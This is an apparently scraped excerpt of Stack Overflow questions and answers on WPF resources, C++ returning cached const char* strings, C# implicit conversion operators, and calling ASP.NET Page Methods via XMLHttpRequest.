implications</strong></p>\n\n<p>The difference between static and dynamic resources comes when the underlying object changes. If your Brush defined in the Resources collection were accessed in code and set to a different object instance, Rectangle will not detect this change. </p>\n\n<p>Static Resources retrieved once by referencing element and used for the lifetime of the resources. Whereas, DynamicResources retrieve every time they are used.</p>\n\n<p>The downside of Dynamic resources is that they tend to decrease application performance.</p>\n\n<p><strong>Are there rules in WPF like \"brushes are always static\" and \"templates are always dynamic\" etc.?</strong></p>\n\n<p>The best practice is to use Static Resources unless there is a specific reason like you want to change resource in the code behind dynamically. Another example of instance in which you would want t to use dynamic resoruces include when you use the SystemBrushes, SystenFonts and System Parameters. </p>\n" }, { "answer_id": 21329656, "author": "Manish Basantani", "author_id": 93613, "author_profile": "https://Stackoverflow.com/users/93613", "pm_score": 4, "selected": false, "text": "<p>Found all answers useful, just wanted to add one more use case.</p>\n\n<p>In a composite WPF scenario, your user control can make use of resources defined in any other parent window/control (that is going to host this user control) by referring to that resource as DynamicResource.</p>\n\n<p>As mentioned by others, Staticresource will be looked up at compile time. User controls can not refer to those resources which are defined in hosting/parent control. Though, DynamicResource could be used in this case.</p>\n" }, { "answer_id": 25912758, "author": "zamoldar", "author_id": 1036639, "author_profile": "https://Stackoverflow.com/users/1036639", "pm_score": 3, "selected": false, "text": "<p>Important benefit of the dynamic resources</p>\n\n<p>if application startup takes extremely long time, you must use dynamic resources,\nbecause static resources are always loaded when the window or app is created, while dynamic resources \nare loaded when they’re first used.</p>\n\n<p>However, you won’t see any benefit unless your resource is extremely large and \ncomplex.</p>\n" }, { "answer_id": 29903012, "author": "Jeson Martajaya", "author_id": 868532, "author_profile": "https://Stackoverflow.com/users/868532", "pm_score": 5, "selected": false, "text": "<ol>\n<li>StaticResource uses <strong>first</strong> value. DynamicResource uses <strong>last</strong> value.</li>\n<li>DynamicResource can be used for nested styling, StaticResource cannot.</li>\n</ol>\n\n<p>Suppose you have this nested Style dictionary. LightGreen is at the root level while Pink is nested inside a Grid.</p>\n\n<pre><code>&lt;ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"&gt;\n &lt;Style TargetType=\"{x:Type Grid}\"&gt;\n &lt;Style.Resources&gt;\n &lt;Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\"&gt;\n &lt;Setter Property=\"Background\" Value=\"Pink\"/&gt;\n &lt;/Style&gt;\n &lt;/Style.Resources&gt;\n &lt;/Style&gt;\n &lt;Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\"&gt;\n &lt;Setter Property=\"Background\" Value=\"LightGreen\"/&gt;\n &lt;/Style&gt;\n&lt;/ResourceDictionary&gt;\n</code></pre>\n\n<p>In view:</p>\n\n<pre><code>&lt;Window x:Class=\"WpfStyleDemo.ConflictingStyleWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"ConflictingStyleWindow\" Height=\"100\" Width=\"100\"&gt;\n &lt;Window.Resources&gt;\n &lt;ResourceDictionary&gt;\n &lt;ResourceDictionary.MergedDictionaries&gt;\n &lt;ResourceDictionary Source=\"Styles/ConflictingStyle.xaml\" /&gt;\n &lt;/ResourceDictionary.MergedDictionaries&gt;\n &lt;/ResourceDictionary&gt;\n &lt;/Window.Resources&gt;\n &lt;Grid&gt;\n &lt;Button Style=\"{DynamicResource ConflictButton}\" Content=\"Test\"/&gt;\n &lt;/Grid&gt;\n&lt;/Window&gt;\n</code></pre>\n\n<p>StaticResource will render the button as LightGreen, the first value it found in the style. DynamicResource will override the LightGreen button as Pink as it renders the Grid.</p>\n\n<p><img src=\"https://i.stack.imgur.com/dYc0V.png\" alt=\"StaticResource\">\nStaticResource</p>\n\n<p><img src=\"https://i.stack.imgur.com/MLGoJ.png\" alt=\"DynamicResource\">\nDynamicResource</p>\n\n<p>Keep in mind that VS Designer treats DynamicResource as StaticResource. It will get first value. In this case, VS Designer will render the button as LightGreen although it actually ends up as Pink.</p>\n\n<p>StaticResource will throw an error when the root-level style (LightGreen) is removed.</p>\n" }, { "answer_id": 39262852, "author": "iaminvinicble", "author_id": 5370858, "author_profile": "https://Stackoverflow.com/users/5370858", "pm_score": 3, "selected": false, "text": "<p><strong>Dynamic resources can only be used when property being set is on object which is derived from dependency object or freezable where as static resources can be used anywhere. \nYou can abstract away entire control using static resources.</strong> </p>\n\n<p><strong>Static resources are used under following circumstances:</strong></p>\n\n<ol>\n<li>When reaction resource changes at runtime is not required.</li>\n<li>If you need a good performance with lots of resources.</li>\n<li>While referencing resources within the same dictionary.</li>\n</ol>\n\n<p><strong>Dynamic resources:</strong></p>\n\n<ol>\n<li>Value of property or style setter theme is not known until runtime \n\n<ul>\n<li>This include system, aplication, theme based settings</li>\n<li>This also includes forward references.</li>\n</ul></li>\n<li>Referencing large resources that may not load when page, windows, usercontrol loads.</li>\n<li>Referencing theme styles in a custom control.</li>\n</ol>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200842", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26004/" ]
We're creating a Interaction design pattern website for a class. We've been using google docs to create the patterns list during the classes, sharing it with the teacher for evaluation. So the environment is this: * We've been able to fetch a single image from each presentation we want to display, such as: <http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b> * We've created an RSS feed for cooliris to open: (small example from it): <.item> ``` <.title>e7_pattern_7.78<./title> <.link>http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b<./link> <.guid>dd2dpzk6_164zcwm3jgv_b<./guid> <.media:thumbnail url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" /> <.media:content url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" type="image/png" /> ``` <./item> Sorry for the points in the middle of the tag is only for stackoverflow not to filter it. So the problem is the following, the rss works correctly, as the cooliris opens all viewports for all images. But both the thumbnail and content remain black for all the pictures. If you try to open them by the above url you can download them, with the type="image/png" if should work for piclens to open it. Anyone got a sugestion or idea why we can't access the images from google docs via cooliris ?
A [StaticResource](https://msdn.microsoft.com/en-gb/library/cc189045(v=vs.95).aspx) will be resolved and assigned to the property during the loading of the XAML which occurs before the application is actually run. It will only be assigned once and any changes to resource dictionary ignored. A [DynamicResource](https://msdn.microsoft.com/en-us/library/vstudio/ms748942(v=vs.100).aspx) assigns an Expression object to the property during loading but does not actually lookup the resource until runtime when the Expression object is asked for the value. This defers looking up the resource until it is needed at runtime. A good example would be a forward reference to a resource defined later on in the XAML. Another example is a resource that will not even exist until runtime. It will update the target if the source resource dictionary is changed.
200,857
<p>Was reading up a bit on my C++, and found this article about RTTI (Runtime Type Identification): <a href="http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx</a> . Well, that's another subject :) - However, I stumbled upon a weird saying in the <code>type_info</code>-class, namely about the <code>::name</code>-method. It says: "The <code>type_info::name</code> member function returns a <code>const char*</code> to a null-terminated string representing the human-readable name of the type. The memory pointed to is cached and should never be directly deallocated."</p> <p>How can you implement something like this yourself!? I've been struggling quite a bit with this exact problem often before, as I don't want to make a new <code>char</code>-array for the caller to delete, so I've stuck to <code>std::string</code> thus far.</p> <p>So, for the sake of simplicity, let's say I want to make a method that returns <code>"Hello World!"</code>, let's call it </p> <pre><code>const char *getHelloString() const; </code></pre> <p>Personally, I would make it somehow like this (Pseudo):</p> <pre><code>const char *getHelloString() const { char *returnVal = new char[13]; strcpy("HelloWorld!", returnVal); return returnVal } </code></pre> <p>.. But this would mean that the caller should do a <code>delete[]</code> on my return pointer :(</p> <p>Thx in advance</p>
[ { "answer_id": 200870, "author": "Greg Rogers", "author_id": 5963, "author_profile": "https://Stackoverflow.com/users/5963", "pm_score": 5, "selected": false, "text": "<p>How about this:</p>\n\n<pre><code>const char *getHelloString() const\n{\n return \"HelloWorld!\";\n}\n</code></pre>\n\n<p>Returning a literal directly means the space for the string is allocated in static storage by the compiler and will be available throughout the duration of the program.</p>\n" }, { "answer_id": 200879, "author": "Lou Franco", "author_id": 3937, "author_profile": "https://Stackoverflow.com/users/3937", "pm_score": 1, "selected": false, "text": "<p>I think that since they know that there are a finite number of these, they just keep them around forever. It might be appropriate for you to do that in some instances, but as a general rule, std::string is going to be better.</p>\n\n<p>They can also look up new calls to see if they made that string already and return the same pointer. Again, depending on what you are doing, this may be useful for you too.</p>\n" }, { "answer_id": 200886, "author": "Martin Cote", "author_id": 9936, "author_profile": "https://Stackoverflow.com/users/9936", "pm_score": -1, "selected": false, "text": "<p>It's probably done using a static buffer:</p>\n\n<pre><code>const char* GetHelloString()\n{\n static char buffer[256] = { 0 };\n strcpy( buffer, \"Hello World!\" );\n return buffer;\n}\n</code></pre>\n\n<p>This buffer is like a global variable that is accessible only from this function.</p>\n" }, { "answer_id": 200892, "author": "Dan", "author_id": 27816, "author_profile": "https://Stackoverflow.com/users/27816", "pm_score": 2, "selected": false, "text": "<p>Well gee, if we are talking about just a function, that you always want to return the same value. it's quite simple.</p>\n\n<pre><code>const char * foo() \n{\n static char[] return_val= \"HelloWorld!\";\n return return_val;\n}\n</code></pre>\n\n<p>The tricky bit is when you start doing things where you are caching the result, and then you have to consider Threading,or when your cache gets invalidated, and trying to store thing in thread local storage. But if it's just a one off output that is immediate copied, this should do the trick.<br>\n Alternately if you don't have a fixed size you have to do something where you have to either use a static buffer of arbitrary size.. in which you might eventually have something too large, or turn to a managed class say <code>std::string</code>.</p>\n\n<pre><code>const char * foo() \n{\n static std::string output;\n DoCalculation(output);\n return output.c_str();\n}\n</code></pre>\n\n<p>also the function signature</p>\n\n<pre><code>const char *getHelloString() const;\n</code></pre>\n\n<p>is only applicable for member functions.\nAt which point you don't need to deal with static function local variables and could just use a member variable.</p>\n" }, { "answer_id": 200893, "author": "MSalters", "author_id": 15416, "author_profile": "https://Stackoverflow.com/users/15416", "pm_score": -1, "selected": false, "text": "<p>You can't rely on GC; this is C++. That means you must keep the memory available until the program terminates. You simply don't know when it becomes safe to delete[] it. So, if you want to construct and return a const char*, simple new[] it and return it. Accept the unavoidable leak.</p>\n" }, { "answer_id": 201142, "author": "Dashogun", "author_id": 12776, "author_profile": "https://Stackoverflow.com/users/12776", "pm_score": 0, "selected": false, "text": "<p>Why does the return type need to be <code>const</code>? Don't think of the method as a <em>get</em> method, think of it as a <em>create</em> method. I've seen plenty of API that requires you to delete something a creation operator/method returns. Just make sure you note that in the documentation. </p>\n\n<pre><code>/* create a hello string\n * must be deleted after use\n */\nchar *createHelloString() const\n{\n char *returnVal = new char[13];\n strcpy(\"HelloWorld!\", returnVal);\n\n return returnVal\n}\n</code></pre>\n" }, { "answer_id": 201168, "author": "Richard Harrison", "author_id": 19624, "author_profile": "https://Stackoverflow.com/users/19624", "pm_score": 0, "selected": false, "text": "<p>What I've often done when I need this sort of functionality is to have a char * pointer in the class - initialized to null - and allocate when required.</p>\n\n<p>viz:</p>\n\n<pre><code>class CacheNameString\n{\n private: \n char *name;\n public:\n CacheNameString():name(NULL) { }\n\n const char *make_name(const char *v)\n {\n if (name != NULL)\n free(name);\n\n name = strdup(v);\n\n return name;\n }\n\n};\n</code></pre>\n" }, { "answer_id": 201236, "author": "Evan Teran", "author_id": 13430, "author_profile": "https://Stackoverflow.com/users/13430", "pm_score": 0, "selected": false, "text": "<p>Something like this would do:</p>\n\n<pre><code>const char *myfunction() {\n static char *str = NULL; /* this only happens once */\n delete [] str; /* delete previous cached version */\n str = new char[strlen(\"whatever\") + 1]; /* allocate space for the string and it's NUL terminator */\n strcpy(str, \"whatever\");\n return str;\n}\n</code></pre>\n\n<p>EDIT: Something that occurred to me is that a good replacement for this could be returning a boost::shared_pointer instead. That way the caller can hold onto it as long as they want and they don't have to worry about explicitly deleting it. A fair compromise IMO.</p>\n" }, { "answer_id": 201342, "author": "John Dibling", "author_id": 241536, "author_profile": "https://Stackoverflow.com/users/241536", "pm_score": 1, "selected": false, "text": "<p>Be careful when implementing a function that allocates a chunk of memory and then expects the caller to deallocate it, as you do in the OP:</p>\n\n<pre><code>const char *getHelloString() const\n{\n char *returnVal = new char[13];\n strcpy(\"HelloWorld!\", returnVal);\n\n return returnVal\n}\n</code></pre>\n\n<p>By doing this you are transferring ownership of the memory to the caller. If you call this code from some other function:</p>\n\n<pre><code>int main()\n{\n char * str = getHelloString();\n delete str;\n return 0;\n}\n</code></pre>\n\n<p>...the semantics of transferring ownership of the memory is not clear, creating a situation where bugs and memory leaks are more likely.</p>\n\n<p>Also, at least under Windows, if the two functions are in 2 different modules you could potentially corrupt the heap. In particular, if main() is in hello.exe, compiled in VC9, and getHelloString() is in utility.dll, compiled in VC6, you'll corrupt the heap when you delete the memory. This is because VC6 and VC9 both use their own heap, and they aren't the same heap, so you are allocating from one heap and deallocating from another.</p>\n" }, { "answer_id": 202156, "author": "Jon Trauntvein", "author_id": 19674, "author_profile": "https://Stackoverflow.com/users/19674", "pm_score": 0, "selected": false, "text": "<p>The advice given that warns about the lifetime of the returned string is sound advise. You should always be careful about recognising your responsibilities when it comes to managing the lifetime of returned pointers. The practise is quite safe, however, provided the variable pointed to will outlast the call to the function that returned it. Consider, for instance, the pointer to const char returned by <code>c_str()</code> as a method of class <code>std::string</code>. This is returning a pointer to the memory managed by the string object which is guaranteed to be valid as long as the string object is not deleted or made to reallocate its internal memory. </p>\n\n<p>In the case of the <code>std::type_info</code> class, it is a part of the C++ standard as its namespace implies. The memory returned from <code>name()</code> is actually pointed to static memory created by the compiler and linker when the class was compiled and is a part of the run time type identification (RTTI) system. Because it refers to a symbol in code space, you should not attempt to delete it. </p>\n" }, { "answer_id": 203826, "author": "bk1e", "author_id": 8090, "author_profile": "https://Stackoverflow.com/users/8090", "pm_score": 2, "selected": false, "text": "<p>I like all the answers about how the string could be statically allocated, but that's not necessarily true for all implementations, particularly the one whose documentation the original poster linked to. In this case, it appears that the decorated type name is stored statically in order to save space, and the undecorated type name is computed on demand and cached in a linked list.</p>\n\n<p>If you're curious about how the Visual C++ <code>type_info::name()</code> implementation allocates and caches its memory, it's not hard to find out. First, create a tiny test program:</p>\n\n<pre><code>#include &lt;cstdio&gt;\n#include &lt;typeinfo&gt;\n#include &lt;vector&gt; \nint main(int argc, char* argv[]) {\n std::vector&lt;int&gt; v;\n const type_info&amp; ti = typeid(v);\n const char* n = ti.name();\n printf(\"%s\\n\", n);\n return 0;\n}\n</code></pre>\n\n<p>Build it and run it under a debugger (I used WinDbg) and look at the pointer returned by <code>type_info::name()</code>. Does it point to a global structure? If so, WinDbg's <code>ln</code> command will tell the name of the closest symbol:</p>\n\n<pre><code>0:000&gt; ?? n\nchar * 0x00000000`00857290\n \"class std::vector&lt;int,class std::allocator&lt;int&gt; &gt;\"\n0:000&gt; ln 0x00000000`00857290\n0:000&gt;\n</code></pre>\n\n<p><code>ln</code> didn't print anything, which indicates that the string wasn't in the range of addresses owned by any specific module. It would be in that range if it was in the data or read-only data segment. Let's see if it was allocated on the heap, by searching all heaps for the address returned by <code>type_info::name()</code>:</p>\n\n<pre><code>0:000&gt; !heap -x 0x00000000`00857290\nEntry User Heap Segment Size PrevSize Unused Flags\n-------------------------------------------------------------------------------------------------------------\n0000000000857280 0000000000857290 0000000000850000 0000000000850000 70 40 3e busy extra fill \n</code></pre>\n\n<p>Yes, it was allocated on the heap. Putting a breakpoint at the start of <code>malloc()</code> and restarting the program confirms it.</p>\n\n<p>Looking at the declaration in <code>&lt;typeinfo&gt;</code> gives a clue about where the heap pointers are getting cached:</p>\n\n<pre><code>struct __type_info_node {\n void *memPtr;\n __type_info_node* next;\n};\n\nextern __type_info_node __type_info_root_node;\n...\n_CRTIMP_PURE const char* __CLR_OR_THIS_CALL name(__type_info_node* __ptype_info_node = &amp;__type_info_root_node) const;\n</code></pre>\n\n<p>If you find the address of <code>__type_info_root_node</code> and walk down the list in the debugger, you quickly find a node containing the same address that was returned by <code>type_info::name()</code>. The list seems to be related to the caching scheme.</p>\n\n<p>The MSDN page linked in the original question seems to fill in the blanks: the name is stored in its decorated form to save space, and this form is accessible via <code>type_info::raw_name()</code>. When you call <code>type_info::name()</code> for the first time on a given type, it undecorates the name, stores it in a heap-allocated buffer, caches the buffer pointer, and returns it.</p>\n\n<p>The linked list may also be used to deallocate the cached strings during program exit (however, I didn't verify whether that is the case). This would ensure that they don't show up as memory leaks when you run a memory debugging tool. </p>\n" }, { "answer_id": 2079088, "author": "smerlin", "author_id": 231717, "author_profile": "https://Stackoverflow.com/users/231717", "pm_score": 0, "selected": false, "text": "<p>I think something like this can only be implemented \"cleanly\" using objects and the RAII idiom.\nWhen the objects destructor is called (obj goes out of scope), we can safely assume that the <code>const char*</code> pointers arent be used anymore.</p>\n\n<p>example code:</p>\n\n<pre><code>class ICanReturnConstChars\n{\n std::stack&lt;char*&gt; cached_strings\n public:\n const char* yeahGiveItToMe(){\n char* newmem = new char[something];\n //write something to newmem\n cached_strings.push_back(newmem);\n return newmem;\n }\n ~ICanReturnConstChars(){\n while(!cached_strings.empty()){\n delete [] cached_strings.back()\n cached_strings.pop_back()\n }\n }\n};\n</code></pre>\n\n<p>The only other possibility i know of is to pass a smart_ptr ..</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200857", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25745/" ]
Was reading up a bit on my C++, and found this article about RTTI (Runtime Type Identification): <http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx> . Well, that's another subject :) - However, I stumbled upon a weird saying in the `type_info`-class, namely about the `::name`-method. It says: "The `type_info::name` member function returns a `const char*` to a null-terminated string representing the human-readable name of the type. The memory pointed to is cached and should never be directly deallocated." How can you implement something like this yourself!? I've been struggling quite a bit with this exact problem often before, as I don't want to make a new `char`-array for the caller to delete, so I've stuck to `std::string` thus far. So, for the sake of simplicity, let's say I want to make a method that returns `"Hello World!"`, let's call it ``` const char *getHelloString() const; ``` Personally, I would make it somehow like this (Pseudo): ``` const char *getHelloString() const { char *returnVal = new char[13]; strcpy("HelloWorld!", returnVal); return returnVal } ``` .. But this would mean that the caller should do a `delete[]` on my return pointer :( Thx in advance
How about this: ``` const char *getHelloString() const { return "HelloWorld!"; } ``` Returning a literal directly means the space for the string is allocated in static storage by the compiler and will be available throughout the duration of the program.
200,858
<p>I just noticed that you can do this in C#:</p> <pre><code>Unit myUnit = 5; </code></pre> <p>instead of having to do this:</p> <pre><code>Unit myUnit = new Unit(5); </code></pre> <p>Does anyone know how I can achieve this with my own structs? I had a look at the Unit struct with reflector and noticed the TypeConverter attribute was being used, but after I created a custom TypeConverter for my struct I still couldn't get the compiler to allow this convenient syntax.</p>
[ { "answer_id": 200867, "author": "Phil Wright", "author_id": 6276, "author_profile": "https://Stackoverflow.com/users/6276", "pm_score": 2, "selected": false, "text": "<p>You need to provide a cast operator for the class that takes an Int32.</p>\n" }, { "answer_id": 200881, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 6, "selected": true, "text": "<p>You need to provide an implicit conversion operator from int to Unit, like so:</p>\n\n<pre><code> public struct Unit\n { // the conversion operator...\n public static implicit operator Unit(int value)\n {\n return new Unit(value);\n }\n // the boring stuff...\n private readonly int value;\n public int Value { get { return value; } }\n public Unit(int value) { this.value = value; }\n }\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200858", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21966/" ]
I just noticed that you can do this in C#: ``` Unit myUnit = 5; ``` instead of having to do this: ``` Unit myUnit = new Unit(5); ``` Does anyone know how I can achieve this with my own structs? I had a look at the Unit struct with reflector and noticed the TypeConverter attribute was being used, but after I created a custom TypeConverter for my struct I still couldn't get the compiler to allow this convenient syntax.
You need to provide an implicit conversion operator from int to Unit, like so: ``` public struct Unit { // the conversion operator... public static implicit operator Unit(int value) { return new Unit(value); } // the boring stuff... private readonly int value; public int Value { get { return value; } } public Unit(int value) { this.value = value; } } ```
200,869
<p>I've been trying to call Page Methods from my own JavaScript code but it doesn't work. If I use jQuery AJAX I can sucessfully call the Page Methods, but I need to do this from my own JavaScript code because we can't use third-party libraries (we are building our own library).</p> <p>Whenever I use jQuery AJAX methods I get the result of the Page Method, and when I use my custom JS methods I get whole page back from the AJAX Request.</p> <p>There must be something different in the way jQuery handles AJAX requests. Does anyone know what could it be?</p> <p>Below is the code I use to call the same Page Method with jQuery, which works, and the code that I'm using to call it on my own.</p> <p><strong>jQuery</strong></p> <pre><code>// JScript File $(document).ready(function() { $("#search").click(function() { $.ajax({ type: "POST", url: "Account.aspx/GetData", data: "{}", contentType: "application/json; charset=utf-8", dataType: "json", success: function(msg) { // Substitui o conteúdo da DIV vom o retorno do Page Method. displayResult(msg); } }); }); }); </code></pre> <p><strong>Custom JS</strong></p> <pre><code>function getHTTPObject() { var xhr = false; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xhr = false; } } } return xhr; } function prepareLinks() { var btn = document.getElementById("search"); btn.onclick = function() { var url = "Account.aspx/GetData" return !grabFile(url); } } function grabFile(file) { var request = getHTTPObject(); if (request) { displayLoading(document.getElementById("result")); request.onreadystatechange = function() { parseResponse(request); }; //Abre o SOCKET request.open("GET", file, true); //Envia a requisição request.send(null); return true; } else { return false; } } function parseResponse(request) { if (request.readyState == 4) { if (request.status == 200 || request.status == 304) { var details = document.getElementById("result"); details.innerHTML = request.responseText; fadeUp(details,255,255,153); } } } function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } addLoadEvent(prepareLinks); </code></pre> <p><strong>UPDATE:</strong> I've decided to accept Stevemegson's since his answer was the actual cause to my problem. But I'd like to share with yo a few alterantives I've found to this problem.</p> <p><em>Stevemegson's Answer</em>: All I had to do was to change to a POST request and set the request header to JSON,that solved my problem on requesting Page Methods, but now I'm haing a hard time on handling the Response (I'll say more about that on another question).</p> <p>Here's the right code to get this stuff:</p> <pre><code>print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "PMS.aspx/GetData" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { //Evento levantado pelo Servidor a cada mudança de Estado na //requisição assíncrona request.onreadystatechange = function() { parseResponse(request); }; //USE POST request.open('POST', file, true); //SET REQUEST TO JSON request.setRequestHeader('Content-Type', 'application/json'); // SEND REQUISITION request.send(null) return true; } else { return false; } }"); </code></pre> <p><em>Brendan's Answer</em>: Through Brendan's answer I did a little research on the ICallBack Interface and the ICallBackEventHandler. To my surprise that's a way to develop aspx pages using Microsoft's implementation of AJAX Request's. This turns out to be a really interesting solution, since it dosen't require any JS Library to work out and it's inside .Net Framework and I believe that only a few people know about this stuff (at least those that are around me didn't know about it at all). If you wanna know more abou ICallBack check this <a href="http://msdn.microsoft.com/en-us/library/ms178208(VS.80).aspx" rel="nofollow noreferrer" title="How to Implement ICallBack and what&#39;s all about">link text</a> on MS or just copy and paste Brendan's answer.</p> <p><em>A Third Solution:</em> Another solution I found was to instead of creating ASPX pages to handle my server side code I would implement HTML pages and call ASHX files that would do the same thing but they would use less bandwith than an ASPX page. One great about this solution is that I maged to make it work with POST and GET requisitions. Below is the code.</p> <p>ASHX Code:</p> <pre><code>print("Imports System.Web Imports System.Web.Services Public Class CustomHandler Implements System.Web.IHttpHandler Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest context.Response.ContentType = "text/plain" Dim strBuilder As New System.Text.StringBuilder strBuilder.Append("&lt;p&gt;") strBuilder.Append("Your name is: ") strBuilder.Append("&lt;em&gt;") strBuilder.Append(context.Request.Form(0)) strBuilder.Append("&lt;/em&gt;") strBuilder.Append("&lt;/p&gt;") context.Response.Write(strBuilder.ToString) End Sub ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable Get Return False End Get End Property End Class"); </code></pre> <p>JavaScript File:</p> <pre><code>print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "CustomHandler.ashx" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { request.onreadystatechange = function() { parseResponse(request); }; //VERSÃO do POST request.open('POST', file, true); request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); request.send('name=Helton Valentini') return true; } else { return false; } }"); </code></pre> <p>With any of these three options we can make asynchronous calls without use JQuery, using our own Javacript or using the resources Microsoft embeeded on .Net Framework. </p> <p>I hope this helps our some of you.</p>
[ { "answer_id": 201208, "author": "Brendan Kendrick", "author_id": 13473, "author_profile": "https://Stackoverflow.com/users/13473", "pm_score": 2, "selected": false, "text": "<p>One relatively easy solution is to have your code-behind implement ICallbackEventHandler.\nIts a little crude compared to jQuery but it works.</p>\n\n<pre><code>Partial Public Class state\n Implements ICallbackEventHandler\n\n Private _callbackArg As String\n\n Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load\n RegisterCallbackScript()\n End Sub\n\n Private Sub RegisterCallbackScript() \n Dim cbRef As String = Page.ClientScript.GetCallbackEventReference(Me, \"args\", \"RecieveServerData\", \"context\")\n Dim cbScript As String = \"function CallServer(args, context) {\" &amp; cbRef &amp; \"; }\"\n ClientScript.RegisterClientScriptBlock(Me.GetType(), \"CallServer\", cbScript, True)\n End Sub\n\n Public Sub RaiseCallbackEvent(ByVal eventArgs As String) Implements ICallbackEventHandler.RaiseCallbackEvent\n _callbackArg = eventArgs\n End Sub\n\n Private Function GetCallbackResults() As String Implements ICallbackEventHandler.GetCallbackResult\n Dim args As String() = _callbackArg.Split(CChar(\"~\"))\n If args(0) = \"search\"\n Return args(0) + \"~\" + GetSearchResults(args(1))\n End If\n End Function\n\n Private Function GetSearchResults(ByVal keyword As String) As String\n Dim htmlResults As String\n //Build your html here\n Return htmlResults \n End Function\n\nEnd Class\n</code></pre>\n\n<p>//JavaScript</p>\n\n<pre><code>function searchButtonClicked(keyword) {\n CallServer('search~' + keyword);\n}\n\nfunction RecieveServerData(arg, context) {\n var args = arg.split('~');\n switch(args[0]){\n case 'search':\n document.getElementById('result').innerHTML = args[1]\n break;\n }\n}\n</code></pre>\n\n<p>Hope this helps.</p>\n" }, { "answer_id": 203226, "author": "stevemegson", "author_id": 25028, "author_profile": "https://Stackoverflow.com/users/25028", "pm_score": 3, "selected": true, "text": "<p>You're requesting the URL with a GET, while the jQuery code uses a POST. I expect that a Page Method can only be called through a POST, to allow you to include any parameters in the body of your request. You may also need to set the Content-Type of your request to application/json, as the jQuery code does - I don't know whether or not .NET will accept other content types.</p>\n" }, { "answer_id": 204697, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 1, "selected": false, "text": "<p>If you are using ASP.NET AJAX you don't need to do any of this. There is a well defined way of using PageMethods that is a whole lot less complex.</p>\n\n<p>Codebehind</p>\n\n<pre><code> [WebMethod]\n public static Whatever GetWhatever( int someParameter, string somethingElse )\n {\n ... make a Whatever ...\n\n return whatever;\n }\n</code></pre>\n\n<p>Page</p>\n\n<pre><code>...\n&lt;script type=\"text/javascript\"&gt;\n function invokePageMethod(button)\n {\n var ctx = { control: button };\n var someParameter = ...get value from a control...\n var somethingElse = ...get another value from a control...\n PageMethods.GetWhatever( someParameter, somethingElse, success, failure, ctx );\n }\n\n function success(result,context) {\n ... rearrange some stuff on the page...\n }\n\n function failure(error,context) {\n ... show some error message ...\n }\n&lt;/script&gt;\n...\n\n&lt;asp:ScriptManager runat=\"server\" id=\"myScriptManager\" EnablePageMethods=\"true\"&gt;\n&lt;/asp:ScriptManager&gt;\n\n...\n\n&lt;input type=\"button\" onclick=\"invokePageMethod(this);\" value=\"Do Something\" /&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200869", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27813/" ]
I've been trying to call Page Methods from my own JavaScript code but it doesn't work. If I use jQuery AJAX I can sucessfully call the Page Methods, but I need to do this from my own JavaScript code because we can't use third-party libraries (we are building our own library). Whenever I use jQuery AJAX methods I get the result of the Page Method, and when I use my custom JS methods I get whole page back from the AJAX Request. There must be something different in the way jQuery handles AJAX requests. Does anyone know what could it be? Below is the code I use to call the same Page Method with jQuery, which works, and the code that I'm using to call it on my own. **jQuery** ``` // JScript File $(document).ready(function() { $("#search").click(function() { $.ajax({ type: "POST", url: "Account.aspx/GetData", data: "{}", contentType: "application/json; charset=utf-8", dataType: "json", success: function(msg) { // Substitui o conteúdo da DIV vom o retorno do Page Method. displayResult(msg); } }); }); }); ``` **Custom JS** ``` function getHTTPObject() { var xhr = false; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xhr = false; } } } return xhr; } function prepareLinks() { var btn = document.getElementById("search"); btn.onclick = function() { var url = "Account.aspx/GetData" return !grabFile(url); } } function grabFile(file) { var request = getHTTPObject(); if (request) { displayLoading(document.getElementById("result")); request.onreadystatechange = function() { parseResponse(request); }; //Abre o SOCKET request.open("GET", file, true); //Envia a requisição request.send(null); return true; } else { return false; } } function parseResponse(request) { if (request.readyState == 4) { if (request.status == 200 || request.status == 304) { var details = document.getElementById("result"); details.innerHTML = request.responseText; fadeUp(details,255,255,153); } } } function 